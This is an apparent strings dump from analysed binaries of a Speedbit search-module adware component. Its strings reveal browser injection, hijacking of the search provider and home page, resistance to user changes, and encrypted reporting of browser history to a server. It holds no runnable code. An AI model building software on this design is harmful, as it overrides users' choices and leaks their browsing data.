E:\Safari.exe|E:\navigator.exe|E:\torch.exe|E:\U.exe|E:\epic.exe|E:\browser.exe|E:\Maxthon.exe|E:\sbframe.exe|E:\avant.exe|E:\dragon.exe|E:\bobrowser.exe
smei32.dll
smei32.dll
smci32.dll
smci32.dll
smfi32.dll
smfi32.dll
smoi32.dll
smoi32.dll
smri32.dll
smri32.dll
smi32.exe
smi32.exe
Utils::PipedProcess::Create
Utils::PipedProcess::Create
Utils::PipedProcess::Start
Utils::PipedProcess::Start
Utils::PipedProcess::WriteData
Utils::PipedProcess::WriteData
[ReportDllsThread]
[ReportDllsThread]
ProcessWatcher::ExecutionContext::Resume
ProcessWatcher::ExecutionContext::Resume
Local proxy port:
Local proxy port:
127.0.0.1
127.0.0.1
[ProxyMonitor::getProcessByPort]
[ProxyMonitor::getProcessByPort]
Failed to get GetExtendedTcpTable
Failed to get GetExtendedTcpTable
[ReportBuilder::MakeDefaultBrowserSettingsElement]
[ReportBuilder::MakeDefaultBrowserSettingsElement]
[ReportBuilder::CalculateHash]
[ReportBuilder::CalculateHash]
Result.Hash:
Result.Hash:
[ReportBuilder::MakeHistoryReport]
[ReportBuilder::MakeHistoryReport]
Building history report...
Building history report...
ReportBuilder::GetWMISystemInfo
ReportBuilder::GetWMISystemInfo
ReportBuilder::GetExplorerBrowserInfo
ReportBuilder::GetExplorerBrowserInfo
ReportBuilder::GetChromeBrowserInfo
ReportBuilder::GetChromeBrowserInfo
. Chrome Search:
. Chrome Search:
History Report:
History Report:
[ReportBuilder::MakeReport]
[ReportBuilder::MakeReport]
Report:
Report:
[ReportBuilder::GetExplorerBrowserInfo]
[ReportBuilder::GetExplorerBrowserInfo]
[ReportBuilder::GetChromeBrowserInfo]
[ReportBuilder::GetChromeBrowserInfo]
Chrome::BrowserInfo::Factory::Create
Chrome::BrowserInfo::Factory::Create
Chrome::BrowserInfo::Factory::GetInfo
Chrome::BrowserInfo::Factory::GetInfo
sma.exe
sma.exe
Utils::PipedProcess::ReadData
Utils::PipedProcess::ReadData
Utils::PipedProcess::Wait
Utils::PipedProcess::Wait
Utils::PipedProcess::WriteEof
Utils::PipedProcess::WriteEof
777705555443332
777705555443332
5555443332
5555443332
5555443332
5555443332
Utils::MachineKey::Create
Utils::MachineKey::Create
Utils::MachineKey::Generate
Utils::MachineKey::Generate
Encrypt data. Key:
Encrypt data. Key:
Decrypt data. Key:
Decrypt data. Key:
ReportBuilder::MakeInstallReport
ReportBuilder::MakeInstallReport
[ServerReporter::SendInstallReport]
[ServerReporter::SendInstallReport]
ReportBuilder::MakeUninstallReport
ReportBuilder::MakeUninstallReport
[ServerReporter::SendUninstallReport]
[ServerReporter::SendUninstallReport]
ReportBuilder::MakeRegulatReport
ReportBuilder::MakeRegulatReport
[ServerReporter::SendRegularReport]
[ServerReporter::SendRegularReport]
ReportBuilder::MakeUserActionReport
ReportBuilder::MakeUserActionReport
[ServerReporter::SendUserActionReport]
[ServerReporter::SendUserActionReport]
ReportBuilder::MakeHistoryReport
ReportBuilder::MakeHistoryReport
[ServerReporter::SendHistoryReport]
[ServerReporter::SendHistoryReport]
ServerReporter::MakeReport
ServerReporter::MakeReport
ServerReporter::SendReport
ServerReporter::SendReport
[ServerReporter::SendReport]
[ServerReporter::SendReport]
ServerEncryption::CreateSessionKey
ServerEncryption::CreateSessionKey
Report in Base 64:
Report in Base 64:
10D2FBE6-2346-4627-A9F5-FB48313C5001
10D2FBE6-2346-4627-A9F5-FB48313C5001
ServerReporter::Implementation::GetTargetUrl - User GUID is problematic GUID (hardcoded/unknown)
ServerReporter::Implementation::GetTargetUrl - User GUID is problematic GUID (hardcoded/unknown)
ServerReporter::Implementation::GetTargetUrl - Failed replacing problematic GUID with new one
ServerReporter::Implementation::GetTargetUrl - Failed replacing problematic GUID with new one
[ServerReporter::GetUserProfile]
[ServerReporter::GetUserProfile]
[ServerReporter::MakeReport]
[ServerReporter::MakeReport]
ServerReporter::GetUserProfile
ServerReporter::GetUserProfile
ReportBuilder::Create
ReportBuilder::Create
Result.Report:
Result.Report:
[ServerReporter::SetLastReportTime]
[ServerReporter::SetLastReportTime]
WatchmanKey::Reporter::SetLastTime
WatchmanKey::Reporter::SetLastTime
Package url:
Package url:
WatchmanKey::Updater::SetLastTime
WatchmanKey::Updater::SetLastTime
.Service
.Service
\Microsoft\Windows\Start Menu
\Microsoft\Windows\Start Menu
*.lnk
*.lnk
\Internet Explorer\iexplore.exe
\Internet Explorer\iexplore.exe
\Safari\Safari.exe
\Safari\Safari.exe
/report
/report
/report1
/report1
%d.%d.%d.%d%n
%d.%d.%d.%d%n
Created URL Set object from configuration. Name:
Created URL Set object from configuration. Name:
UrlSetID:
UrlSetID:
Could not find matching URL set... Using old configuration
Could not find matching URL set... Using old configuration
[LocalScope::UpdateParser::ParseReportSection]
[LocalScope::UpdateParser::ParseReportSection]
Monitor::ServerEncryption::CreateSessionKey
Monitor::ServerEncryption::CreateSessionKey
Full url:
Full url:
Data url:
Data url:
sbu.exe
sbu.exe
smw.sys
smw.sys
wscript.exe
wscript.exe
smhe.js
smhe.js
[Monitor::WatchmanGuard::SendReport]
[Monitor::WatchmanGuard::SendReport]
InstallReporter
InstallReporter
Monitor::ServerReporter::Create
Monitor::ServerReporter::Create
Monitor::ServerReporter::SendInitialReport
Monitor::ServerReporter::SendInitialReport
/urlset:
/urlset:
Options.InjectAllBrowsers:
Options.InjectAllBrowsers:
Options.InjectDefaultOnly:
Options.InjectDefaultOnly:
Options.ServiceName:
Options.ServiceName:
Options.ProductCode:
Options.ProductCode:
Options.ProductPriority:
Options.ProductPriority:
Options.EnablePinner:
Options.EnablePinner:
Options.EnableRedirect:
Options.EnableRedirect:
Options.EnableYellowBandSuppression:
Options.EnableYellowBandSuppression:
Options.UpdateUrl:
Options.UpdateUrl:
Options.ReportUrl:
Options.ReportUrl:
Options.AutoStart:
Options.AutoStart:
Options.ProtectSearch:
Options.ProtectSearch:
Options.ProtectHome:
Options.ProtectHome:
Options.ProtectTab:
Options.ProtectTab:
Options.ExplorerInjection:
Options.ExplorerInjection:
Options.ChromeInjection:
Options.ChromeInjection:
Options.FirefoxInjection:
Options.FirefoxInjection:
Options.OperaInjection:
Options.OperaInjection:
Options.ConfigPath:
Options.ConfigPath:
Options.ConfigKey:
Options.ConfigKey:
Getting current URL Set
Getting current URL Set
Getting URL Set from options
Getting URL Set from options
] Provided. And is different from current URL set [
] Provided. And is different from current URL set [
URL Set [
URL Set [
Need to send report!!!
Need to send report!!!
ServerReporter::Create
ServerReporter::Create
Original report URL:
Original report URL:
URL to use:
URL to use:
ServerReporter::SendInitialReport
ServerReporter::SendInitialReport
general_config.xml
general_config.xml
system_config.xml
system_config.xml
[WatchmanInstaller::SendReport1]
[WatchmanInstaller::SendReport1]
iexplore.exe is running, result for getting DLL's:
iexplore.exe is running, result for getting DLL's:
firefox.exe is running, result for getting DLL's:
firefox.exe is running, result for getting DLL's:
chrome.exe is running, result for getting DLL's:
chrome.exe is running, result for getting DLL's:
ServerReporter::SendRegularReport
ServerReporter::SendRegularReport
[WatchmanInstaller::SendReport]
[WatchmanInstaller::SendReport]
ServerReporter::SendHistoryReport
ServerReporter::SendHistoryReport
Currently set URLSet:
Currently set URLSet:
Updating system config with new URL set...
Updating system config with new URL set...
Already reported duiring first install
Already reported duiring first install
Report' been sent:
Report' been sent:
WatchmanInstaller::SendReport1
WatchmanInstaller::SendReport1
calling SendReport1...
calling SendReport1...
WatchmanInstaller::SendReport
WatchmanInstaller::SendReport
[Monitor::WatchmanMonitor::CreateSendReportTask]
[Monitor::WatchmanMonitor::CreateSendReportTask]
SendReportTask
SendReportTask
new
new
[Monitor::WatchmanMonitor::OnSendReportSucceeded]
[Monitor::WatchmanMonitor::OnSendReportSucceeded]
[Monitor::WatchmanMonitor::OnSendReportFailed]
[Monitor::WatchmanMonitor::OnSendReportFailed]
[Monitor::WatchmanMonitor::OnChromeProtectionChanged]
[Monitor::WatchmanMonitor::OnChromeProtectionChanged]
User has changed the chrome protection for:
User has changed the chrome protection for:
[Monitor::WatchmanMonitor::OnResetFirefoxProtection]
[Monitor::WatchmanMonitor::OnResetFirefoxProtection]
User has reset the firefox protection:
User has reset the firefox protection:
Next report task:
Next report task:
Scheduller::RegisterTask
Scheduller::RegisterTask
Monitor::Application::EnsureSystemKey
Monitor::Application::EnsureSystemKey
Options.Revert:
Options.Revert:
Settings.Final:
Settings.Final:
UninstallReporter
UninstallReporter
profiles.ini
profiles.ini
prefs.js
prefs.js
Mozilla\Firefox\
Mozilla\Firefox\
[Firefox::InstallInfo::ReadProfiles]
[Firefox::InstallInfo::ReadProfiles]
[Firefox::InstallInfo::ParseProfiles]
[Firefox::InstallInfo::ParseProfiles]
[Firefox::InstallInfo::QueryProfiles]
[Firefox::InstallInfo::QueryProfiles]
Firefox::InstallInfo::ReadProfiles
Firefox::InstallInfo::ReadProfiles
Firefox::InstallInfo::ParseProfiles
Firefox::InstallInfo::ParseProfiles
[Firefox::InstallInfo::Query]
[Firefox::InstallInfo::Query]
SHELL32.DLL
SHELL32.DLL
No profiles found! Maybe - first start of Firefox?
No profiles found! Maybe - first start of Firefox?
ADVAPI32.DLL
ADVAPI32.DLL
shlwapi.dll
shlwapi.dll
Utils::Registry::OpenKeyExW
Utils::Registry::OpenKeyExW
Subkey:
Subkey:
[Utils::Registry::RecursiveDeleteKeyW]
[Utils::Registry::RecursiveDeleteKeyW]
SHLWAPI.GetAddressOf
SHLWAPI.GetAddressOf
WKERNEL32.DLL
WKERNEL32.DLL
VERSION.DLL
VERSION.DLL
NTDLL.DLL
NTDLL.DLL
[Utils::PipedProcess::CreateOutputHandles]
[Utils::PipedProcess::CreateOutputHandles]
[Utils::PipedProcess::CreateInputHandles]
[Utils::PipedProcess::CreateInputHandles]
[Utils::PipedProcess::SpawnProcess]
[Utils::PipedProcess::SpawnProcess]
Utils::PipedProcess::CreateOutputHandles
Utils::PipedProcess::CreateOutputHandles
Utils::PipedProcess::CreateInputHandles
Utils::PipedProcess::CreateInputHandles
Utils::PipedProcess::SpawnProcess
Utils::PipedProcess::SpawnProcess
[Utils::PipedProcess::Start]
[Utils::PipedProcess::Start]
[Utils::PipedProcess::Wait]
[Utils::PipedProcess::Wait]
Utils::PipedProcess::WriteProc
Utils::PipedProcess::WriteProc
[Utils::PipedProcess::WriteData]
[Utils::PipedProcess::WriteData]
Utils::PipedProcess::ReadProc
Utils::PipedProcess::ReadProc
[Utils::PipedProcess::ReadData]
[Utils::PipedProcess::ReadData]
.cache
.cache
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
ntdll.dll
ntdll.dll
Could not create memory object. Object name: %s. %%s
Could not create memory object. Object name: %s. %%s
Could not open memory object. Object name: %s. %%s
Could not open memory object. Object name: %s. %%s
Could not map memory object. Object name: %s. %%s
Could not map memory object. Object name: %s. %%s
Could not map memory object. Object name: %s. Size: %u. %%s
Could not map memory object. Object name: %s. Size: %u. %%s
Could not create sync object for memory. Object name: %s. %%s
Could not create sync object for memory. Object name: %s. %%s
pathToSignedProductExe
pathToSignedProductExe
SELECT * FROM Win32_OperatingSystem
SELECT * FROM Win32_OperatingSystem
A[BrowserHistory::GetPropertyReport]
A[BrowserHistory::GetPropertyReport]
Found URL:
Found URL:
GIPHLPAPI.DLL
GIPHLPAPI.DLL
GX-hX-hX-XX-XXXXXX
GX-hX-hX-XX-XXXXXX
\\.\pipe\
\\.\pipe\
Could not create thread event. %%s
Could not create thread event. %%s
Could not create new client event. %%s
Could not create new client event. %%s
Could not create accept thread. %%s
Could not create accept thread. %%s
Could not create work thread. %%s
Could not create work thread. %%s
Could not start thread. %%s
Could not start thread. %%s
Stop IPC error. %%s
Stop IPC error. %%s
Pipe (0x%X) read problems. %%s
Pipe (0x%X) read problems. %%s
IAction::QueryInterface
IAction::QueryInterface
IExecAction::put_Path
IExecAction::put_Path
IExecAction::put_WorkingDirectory
IExecAction::put_WorkingDirectory
IExecAction::put_Arguments
IExecAction::put_Arguments
Ghttp\shell\open\command
Ghttp\shell\open\command
Software\Microsoft\Windows\CurrentVersion\App Paths
Software\Microsoft\Windows\CurrentVersion\App Paths
[Utils::SoftwareInfo::GetHttpOpenHandler]
[Utils::SoftwareInfo::GetHttpOpenHandler]
Utils::Registry::OpenKeyW
Utils::Registry::OpenKeyW
[SynchronousPipe::Write]
[SynchronousPipe::Write]
[SynchronousPipe::Read]
[SynchronousPipe::Read]
SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy
SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy
Not enough memory. Size: %s (%s)
Not enough memory. Size: %s (%s)
Error code: %u ('%s')
Error code: %u ('%s')
Could not allocate IPC memory. Requires size: %u
Could not allocate IPC memory. Requires size: %u
Could not create pipe. %%s
Could not create pipe. %%s
Could not create pipe event. %%s
Could not create pipe event. %%s
Event error. %%s
Event error. %%s
Pipe connecting error. %%s
Pipe connecting error. %%s
HCould not create IPC event. %%s
HCould not create IPC event. %%s
yIEXPLORE.EXE
yIEXPLORE.EXE
SuggestionURL
SuggestionURL
FaviconURL
FaviconURL
TopResultURLFallback
TopResultURLFallback
Software\Microsoft\Internet Explorer\AboutURLs
Software\Microsoft\Internet Explorer\AboutURLs
Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
Software\Microsoft\Windows\CurrentVersion\Ext\Settings
Software\Microsoft\Windows\CurrentVersion\Ext\Settings
Failed to call enum URL's. Error:
Failed to call enum URL's. Error:
[Injection::Snapshot::Chrome::Settings::Dump]
[Injection::Snapshot::Chrome::Settings::Dump]
[Injection::Snapshot::Firefox::Settings::Dump]
[Injection::Snapshot::Firefox::Settings::Dump]
[Monitor::RestoreData::Controller::Build]
[Monitor::RestoreData::Controller::Build]
[Monitor::RestoreData::Controller::Build]
[Monitor::RestoreData::Controller::Build]
[Injection::Snapshot::Builder::BuildSettings]
[Injection::Snapshot::Builder::BuildSettings]
[Injection::Snapshot::Builder::BuildSettings]
[Injection::Snapshot::Builder::BuildSettings]
new
new
Injection::Snapshot::Parser::Parse
Injection::Snapshot::Parser::Parse
new
new
Injection::Snapshot::Parser::Parse
Injection::Snapshot::Parser::Parse
ReadStringNode
ReadStringNode
[Injection::Snapshot::Parser::Parse]
[Injection::Snapshot::Parser::Parse]
ReadStringNode
ReadStringNode
[Injection::Snapshot::Parser::Parse]
[Injection::Snapshot::Parser::Parse]
[Injection::Snapshot::Controller::IsChromeInstalled]
[Injection::Snapshot::Controller::IsChromeInstalled]
Chrome::BrowserSettings::Create
Chrome::BrowserSettings::Create
[Injection::Snapshot::Controller::IsFirefoxInstalled]
[Injection::Snapshot::Controller::IsFirefoxInstalled]
Firefox::BrowserSettings::Create
Firefox::BrowserSettings::Create
Chrome::BrowserSettings::RestoreState
Chrome::BrowserSettings::RestoreState
Firefox::BrowserSettings::RestoreState
Firefox::BrowserSettings::RestoreState
Argument.SystemConfig:
Argument.SystemConfig:
Argument.Config::General:
Argument.Config::General:
Argument.Config::User:
Argument.Config::User:
Chrome::BrowserSettings::PropagateState
Chrome::BrowserSettings::PropagateState
Firefox::BrowserSettings::PropagateState
Firefox::BrowserSettings::PropagateState
Argument.UserSid:
Argument.UserSid:
WatchmanKey::Users::SaveRestoreData
WatchmanKey::Users::SaveRestoreData
[WatchmanKey::GetEncryptionKey]
[WatchmanKey::GetEncryptionKey]
MachineKey::Create
MachineKey::Create
MachineKey::Generate
MachineKey::Generate
[WatchmanKey::CleanupKey]
[WatchmanKey::CleanupKey]
[WatchmanKey::LoadEncodedData]
[WatchmanKey::LoadEncodedData]
WatchmanKey::GetEncryptionKey
WatchmanKey::GetEncryptionKey
[WatchmanKey::SaveEncodedData]
[WatchmanKey::SaveEncodedData]
[WatchmanKey::System::LoadGeneralConfig]
[WatchmanKey::System::LoadGeneralConfig]
WatchmanKey::System::Open
WatchmanKey::System::Open
WatchmanKey::LoadEncodedData
WatchmanKey::LoadEncodedData
[WatchmanKey::System::SaveGeneralConfig]
[WatchmanKey::System::SaveGeneralConfig]
WatchmanKey::System::Ensure
WatchmanKey::System::Ensure
WatchmanKey::SaveEncodedData
WatchmanKey::SaveEncodedData
[WatchmanKey::System::LoadSystemConfig]
[WatchmanKey::System::LoadSystemConfig]
[WatchmanKey::System::SaveSystemConfig]
[WatchmanKey::System::SaveSystemConfig]
[WatchmanKey::Users::Ensure]
[WatchmanKey::Users::Ensure]
WatchmanKey::EnsureKey
WatchmanKey::EnsureKey
[WatchmanKey::Users::Open]
[WatchmanKey::Users::Open]
WatchmanKey::OpenKey
WatchmanKey::OpenKey
[WatchmanKey::Users::LoadConfiguration]
[WatchmanKey::Users::LoadConfiguration]
WatchmanKey::Users::Ensure
WatchmanKey::Users::Ensure
[WatchmanKey::Users::SaveConfiguration]
[WatchmanKey::Users::SaveConfiguration]
[WatchmanKey::Users::LoadRestoreData]
[WatchmanKey::Users::LoadRestoreData]
[WatchmanKey::Updater::SetLastTime]
[WatchmanKey::Updater::SetLastTime]
[WatchmanKey::Updater::SetBlackListHash]
[WatchmanKey::Updater::SetBlackListHash]
[WatchmanKey::Updater::GetBlackListHash]
[WatchmanKey::Updater::GetBlackListHash]
[WatchmanKey::Reporter::GetLastTime]
[WatchmanKey::Reporter::GetLastTime]
[WatchmanKey::Reporter::SetLastTime]
[WatchmanKey::Reporter::SetLastTime]
[WatchmanKey::TimeBomb::Uninstall]
[WatchmanKey::TimeBomb::Uninstall]
WatchmanKey::SystemKey::Open
WatchmanKey::SystemKey::Open
smod.xml
smod.xml
SearchModulePlus.crx
SearchModulePlus.crx
{7F4EFF06-7032-458e-AE16-1C1D8255C28A}
{7F4EFF06-7032-458e-AE16-1C1D8255C28A}
{CFBFAE00-17A6-11D0-99CB-00C04FD64497}
{CFBFAE00-17A6-11D0-99CB-00C04FD64497}
hXXp://api.searchpredict.com/api/?rqtype=ffplugin&siteID=8661&dbCode=1&command={searchTerms}
hXXp://api.searchpredict.com/api/?rqtype=ffplugin&siteID=8661&dbCode=1&command={searchTerms}
DATAMNGR.DLL
DATAMNGR.DLL
IEBHO.DLL
IEBHO.DLL
[Config::General::UrlSet::Copy]
[Config::General::UrlSet::Copy]
[Config::General::Chrome::Settings::Dump]
[Config::General::Chrome::Settings::Dump]
[Config::General::Chrome::Settings::Copy]
[Config::General::Chrome::Settings::Copy]
[Config::General::Chrome::ValueSet::Copy]
[Config::General::Chrome::ValueSet::Copy]
[Config::General::Firefox::Settings::Dump]
[Config::General::Firefox::Settings::Dump]
[Config::General::Firefox::Settings::Copy]
[Config::General::Firefox::Settings::Copy]
[Config::General::Firefox::ValueSet::Copy]
[Config::General::Firefox::ValueSet::Copy]
[Config::General::Opera::Settings::Dump]
[Config::General::Opera::Settings::Dump]
[Config::General::Opera::Settings::Copy]
[Config::General::Opera::Settings::Copy]
Config::General::Parser::ParseUrlSet
Config::General::Parser::ParseUrlSet
Config::General::Parser::ParseChromeSettings
Config::General::Parser::ParseChromeSettings
Config::General::Parser::ParseFirefoxSettings
Config::General::Parser::ParseFirefoxSettings
Config::General::Parser::ParseOperaSettings
Config::General::Parser::ParseOperaSettings
ReadStringNode
ReadStringNode
lReadStringNode
lReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
[Config::General::Parser::ParseChromeSettings]
[Config::General::Parser::ParseChromeSettings]
MissedElement
MissedElement
Config::General::Parser::ParseChromeValueSets
Config::General::Parser::ParseChromeValueSets
[Config::General::Parser::ParseChromeValueSets]
[Config::General::Parser::ParseChromeValueSets]
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
[Config::General::Parser::ParseFirefoxSettings]
[Config::General::Parser::ParseFirefoxSettings]
MissedElement
MissedElement
Config::General::Parser::ParseFirefoxValueSets
Config::General::Parser::ParseFirefoxValueSets
[Config::General::Parser::ParseFirefoxValueSets]
[Config::General::Parser::ParseFirefoxValueSets]
ReadOptionalStringNode
ReadOptionalStringNode
ReadOptionalStringNode
ReadOptionalStringNode
ReadOptionalStringNode
ReadOptionalStringNode
[Config::General::Parser::ParseUrlSet]
[Config::General::Parser::ParseUrlSet]
MissedElement
MissedElement
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
dReadStringNode
dReadStringNode
[Config::General::Parser::ParseOperaSettings]
[Config::General::Parser::ParseOperaSettings]
MissedElement
MissedElement
yReadStringNode
yReadStringNode
[Config::General::Builder::Build]
[Config::General::Builder::Build]
[Config::General::Builder::Build]
[Config::General::Builder::Build]
[Config::General::Builder::Build]
[Config::General::Builder::Build]
We couldn't find the URL Set section... probably an old configuration!
We couldn't find the URL Set section... probably an old configuration!
WatchmanKey::System::LoadGeneralConfig
WatchmanKey::System::LoadGeneralConfig
WatchmanKey::System::SaveGeneralConfig
WatchmanKey::System::SaveGeneralConfig
JReset-2.1.0.7
JReset-2.1.0.7
2.1.0.7
2.1.0.7
2.0.0.0
2.0.0.0
ReadOptionalStringNode
ReadOptionalStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadBooleanNode
ReadBooleanNode
ReadBooleanNode
ReadBooleanNode
ReadBooleanNode
ReadBooleanNode
Could not find URL Set in configuration. Probably older configuration.
Could not find URL Set in configuration. Probably older configuration.
WatchmanKey::System::LoadSystemConfig
WatchmanKey::System::LoadSystemConfig
WatchmanKey::System::SaveSystemConfig
WatchmanKey::System::SaveSystemConfig
[Config::User::Chrome::Settings::Copy]
[Config::User::Chrome::Settings::Copy]
[Config::User::Firefox::Settings::Copy]
[Config::User::Firefox::Settings::Copy]
Config::User::Parser::ParseChromeSettings
Config::User::Parser::ParseChromeSettings
Config::User::Parser::ParseFirefoxSettings
Config::User::Parser::ParseFirefoxSettings
[Config::User::Parser::ParseChromeSettings]
[Config::User::Parser::ParseChromeSettings]
[Config::User::Parser::ParseFirefoxSettings]
[Config::User::Parser::ParseFirefoxSettings]
[Config::User::Builder::BuildChromeSettings]
[Config::User::Builder::BuildChromeSettings]
[Config::User::Builder::BuildFirefoxSettings]
[Config::User::Builder::BuildFirefoxSettings]
WatchmanKey::User::LoadConfiguration
WatchmanKey::User::LoadConfiguration
WatchmanKey::User::SaveConfiguration
WatchmanKey::User::SaveConfiguration
CChromeExtension::GetFileListInExtenstion
CChromeExtension::GetFileListInExtenstion
GCHROME.EXE
GCHROME.EXE
__MSG_
__MSG_
manifest.json
manifest.json
messages.json
messages.json
WebData
WebData
[Chrome::BrowserInfo::Query]
[Chrome::BrowserInfo::Query]
Google\Chrome
Google\Chrome
\Application\chrome.exe
\Application\chrome.exe
\Google\Chrome\Application\chrome.exe
\Google\Chrome\Application\chrome.exe
\resources.pak
\resources.pak
\Google\Chrome\Application\
\Google\Chrome\Application\
\Web Data
\Web Data
[Chrome::BrowserSettings::OpenConfigFiles]
[Chrome::BrowserSettings::OpenConfigFiles]
Chrome::InstallInfo::Get
Chrome::InstallInfo::Get
SQLite::WebDataDB::Create
SQLite::WebDataDB::Create
[Chrome::BrowserSettings::SetHomePagePreferences]
[Chrome::BrowserSettings::SetHomePagePreferences]
Argument.HomePageUrl:
Argument.HomePageUrl:
Argument.HomePageIsNewTabPage:
Argument.HomePageIsNewTabPage:
[Chrome::BrowserSettings::SetDefaultProviderPreferences]
[Chrome::BrowserSettings::SetDefaultProviderPreferences]
Argument.DefaultProviderId:
Argument.DefaultProviderId:
Argument.DefaultProviderKeyWord:
Argument.DefaultProviderKeyWord:
Argument.DefaultProviderName:
Argument.DefaultProviderName:
Argument.DefaultProviderEncoding:
Argument.DefaultProviderEncoding:
Argument.DefaultProviderSearchUrl:
Argument.DefaultProviderSearchUrl:
Argument.DefaultProviderIconUrl:
Argument.DefaultProviderIconUrl:
Argument.DefaultProviderSuggestUrl:
Argument.DefaultProviderSuggestUrl:
[Chrome::BrowserSettings::SetRestoreOnStartupPreferences]
[Chrome::BrowserSettings::SetRestoreOnStartupPreferences]
Argument.RestoreOnStartup:
Argument.RestoreOnStartup:
Argument.UrlsToRestoreOnStartup:
Argument.UrlsToRestoreOnStartup:
[Chrome::BrowserSettings::GetSearchProviderId]
[Chrome::BrowserSettings::GetSearchProviderId]
Argument.KeywordToSearch:
Argument.KeywordToSearch:
SQLite::WebDataDB::GetFirstProviderId
SQLite::WebDataDB::GetFirstProviderId
SQLite::WebDataDB::GetProviderById
SQLite::WebDataDB::GetProviderById
Result.ProviderId:
Result.ProviderId:
[Chrome::BrowserSettings::EnsureSearchProvider]
[Chrome::BrowserSettings::EnsureSearchProvider]
SQLite::WebDataDB::Values::Create
SQLite::WebDataDB::Values::Create
[Chrome::BrowserSettings::DeleteSearchProvider]
[Chrome::BrowserSettings::DeleteSearchProvider]
Key deleted:
Key deleted:
[Chrome::BrowserSettings::MakeSnapshot]
[Chrome::BrowserSettings::MakeSnapshot]
[Chrome::BrowserSettings::RestoreState]
[Chrome::BrowserSettings::RestoreState]
Chrome::BrowserSettings::OpenConfigFiles
Chrome::BrowserSettings::OpenConfigFiles
Chrome::BrowserSettings::DeleteSearchProvider
Chrome::BrowserSettings::DeleteSearchProvider
SQLite::WebDataDB::SetDefaultProvider
SQLite::WebDataDB::SetDefaultProvider
[Chrome::BrowserSettings::PropagateState]
[Chrome::BrowserSettings::PropagateState]
Chrome::BrowserSettings::EnsureSearchProvider
Chrome::BrowserSettings::EnsureSearchProvider
[SQLite::Implementation::AddProvider]
[SQLite::Implementation::AddProvider]
[SQLite::Implementation::GetProviderById]
[SQLite::Implementation::GetProviderById]
[SQLite::Implementation::GetProviderByKeyword]
[SQLite::Implementation::GetProviderByKeyword]
[SQLite::Implementation::GetFirstProviderId]
[SQLite::Implementation::GetFirstProviderId]
[SQLite::Implementation::GetProviderId]
[SQLite::Implementation::GetProviderId]
Lchrome-extension://
Lchrome-extension://
13050095043000000
13050095043000000
4BB42133-5533-4A0C-BF72-F1B8C8776A11
4BB42133-5533-4A0C-BF72-F1B8C8776A11
Checking
Checking
Opera Software\Opera Stable\
Opera Software\Opera Stable\
\Opera\launcher.exe
\Opera\launcher.exe
\opera.pak
\opera.pak
\Opera\
\Opera\
Web Data
Web Data
\resources\default_partner_content.json
\resources\default_partner_content.json
[Firefox::BrowserSettings::MakeSnapshot]
[Firefox::BrowserSettings::MakeSnapshot]
[Firefox::BrowserSettings::RestoreState]
[Firefox::BrowserSettings::RestoreState]
[Firefox::BrowserSettings::PropagateState]
[Firefox::BrowserSettings::PropagateState]
Software\Microsoft\Internet Explorer\URLSearchHooks
Software\Microsoft\Internet Explorer\URLSearchHooks
[Explorer::BrowserSettings::SetMainKeyValues]
[Explorer::BrowserSettings::SetMainKeyValues]
[Explorer::BrowserSettings::SetTabbedBrowsingKeyValues]
[Explorer::BrowserSettings::SetTabbedBrowsingKeyValues]
[Explorer::BrowserSettings::SetSearchScopeKeyValues]
[Explorer::BrowserSettings::SetSearchScopeKeyValues]
[Explorer::BrowserSettings::SetAboutURLsKeyValues]
[Explorer::BrowserSettings::SetAboutURLsKeyValues]
Argument.SearchScopeToSearch:
Argument.SearchScopeToSearch:
Result.SearchScope:
Result.SearchScope:
[Explorer::BrowserSettings::DeleteKey]
[Explorer::BrowserSettings::DeleteKey]
Argument.Parent:
Argument.Parent:
Argument.Subkey:
Argument.Subkey:
VirtualSpeedbitSearchScopeKey::EnsureKeyW
VirtualSpeedbitSearchScopeKey::EnsureKeyW
SuggestionsURLFallback
SuggestionsURLFallback
SuggestionsURL
SuggestionsURL
FaviconURLFallback
FaviconURLFallback
TopResultURL
TopResultURL
KERNELBASE.DLL
KERNELBASE.DLL
sma.exe_3608:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
@.reloc
@.reloc
Ix.SHx
Ix.SHx
Wxs.Ux
Wxs.Ux
Windows 2003
Windows 2003
Windows 7
Windows 7
Windows Vista
Windows Vista
Windows XP
Windows XP
Windows Me
Windows Me
Windows 2000
Windows 2000
Windows NT4
Windows NT4
Windows 98
Windows 98
Windows 95
Windows 95
%%x
%%x
C:\BUILDS\Build_Watchman\Ver2\Speedbit.Watchman\Bin\SearchModulePlus_SearchModulePlus\Win32\WinMV\Release\sma.pdb
C:\BUILDS\Build_Watchman\Ver2\Speedbit.Watchman\Bin\SearchModulePlus_SearchModulePlus\Win32\WinMV\Release\sma.pdb
InternetOpenUrlA
InternetOpenUrlA
HttpQueryInfoW
HttpQueryInfoW
HttpSendRequestExW
HttpSendRequestExW
HttpOpenRequestW
HttpOpenRequestW
InternetCrackUrlW
InternetCrackUrlW
WININET.dll
WININET.dll
KERNEL32.dll
KERNEL32.dll
USER32.dll
USER32.dll
ShellExecuteW
ShellExecuteW
SHELL32.dll
SHELL32.dll
MSVCP90.dll
MSVCP90.dll
MSVCR90.dll
MSVCR90.dll
_amsg_exit
_amsg_exit
_crt_debugger_hook
_crt_debugger_hook
GetNamedPipeInfo
GetNamedPipeInfo
.?AVImplementation@HttpInvoker@Agent@SpeedBit@@
.?AVImplementation@HttpInvoker@Agent@SpeedBit@@
.?AVHttpInvoker@Agent@SpeedBit@@
.?AVHttpInvoker@Agent@SpeedBit@@
.?AVCCDHTTPEngine@@
.?AVCCDHTTPEngine@@
.?AVCCDHTTPGenericRequest@@
.?AVCCDHTTPGenericRequest@@
.?AVCCDHTTPUploader@@
.?AVCCDHTTPUploader@@
.?AVJOB_HTTP@@
.?AVJOB_HTTP@@
.?AVHTTPJOB@@
.?AVHTTPJOB@@
?.?8?>?]?{?
